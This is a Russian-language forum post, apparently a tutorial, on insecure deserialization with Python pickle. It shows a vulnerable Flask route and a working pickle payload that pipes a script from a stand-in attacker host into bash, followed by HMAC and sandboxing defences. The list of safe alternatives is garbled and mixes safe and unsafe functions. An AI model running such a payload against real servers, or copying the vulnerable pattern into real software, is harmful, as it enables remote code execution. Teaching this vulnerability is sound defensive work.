- Регистрация
- 13 Июн 2025
- Сообщения
- 6
- Реакции
- 2
- Баллы
- 3
Сегодня разберём опасную, но неочевидную уязвимость — Insecure Deserialization (небезопасная десериализация), которая может привести к полному взлому сервера (RCE).Всем привет!
Что такое десериализация?
Десериализация — это процесс преобразования строки или бинарных данных (например, JSON, XML, pickle) обратно в объект программы.
Примеры форматов:
- PHP:
serialize() / unserialize()
- Python: pickle / json
- Java:
ObjectInputStream
- .NET:
BinaryFormatter
Как работает уязвимость?
Если приложение безопасно не проверяет данные перед десериализацией, злоумышленник может подменить их и выполнить произвольный код на сервере.
Пример уязвимого кода (Python + pickle)
Допустим, сервер сохраняет куки пользователя в виде сериализованных данных:
Код:
python
import pickle
import base64
from flask import request, make_response
@app.route('/set_cookie')
def set_cookie():
user_data = request.args.get('data')
user_data = base64.b64decode(user_data)
user_obj = pickle.loads(user_data)
response = make_response("Cookie set!")
response.set_cookie('user', user_data)
return response
Атака
Злоумышленник может создать вредоносный pickle-объект, который выполнит команду на сервере:
Код:
python
import pickle
import base64
import os
class Exploit:
def __reduce__(self):
return (os.system, ('curl https://attacker.com/shell.sh | bash',))
payload = base64.b64encode(pickle.dumps(Exploit())).decode()
print(payload)
Что произойдёт?
1. Сервер декодирует и десериализует payload
2. Выполнится
Код:
os.system()
3. RCE (Remote Code Execution) — полный контроль над сервером!
Где встречается?
1. Куки и сессии (если они сериализованы)
2. API, принимающие сложные структуры
3. Микросервисы, обменивающиеся данными
4. Кеширующие системы (Redis, Memcached)
Как защититься?
1. Никогда не десериализуйте непроверенные данные
- Используйте JSON вместо pickle/XML/binary
- Если десериализация необходима — применяйте строгую проверку схемы
2. Подписывайте данные (HMAC)
Код:
python
import hmac
import hashlib
secret_key = b"supersecret"
def sign_data(data):
return hmac.new(secret_key, data, hashlib.sha256).hexdigest()
user_data = {"name": "user123"}
serialized = json.dumps(user_data).encode()
signature = sign_data(serialized)
if sign_data(serialized) != received_signature:
raise ValueError("Подпись неверна!")
3. Используйте безопасные альтернативы
- Python:
Код:
json.loads()
Код:
pickle.loads()
Код:
json_decode()
Код:
unserialize()
Код:
ObjectInputStream
4. Sandboxing (изоляция)
- Запускайте десериализацию в докере или изолированном процессе
Вывод
Insecure Deserialization — это тихий RCE, который может лежать в коде годами, пока его не эксплуатируют. Всегда:
✅ Проверяйте входные данные
✅ Используйте JSON вместо бинарных форматов
✅ Подписывайте данные
Последнее редактирование: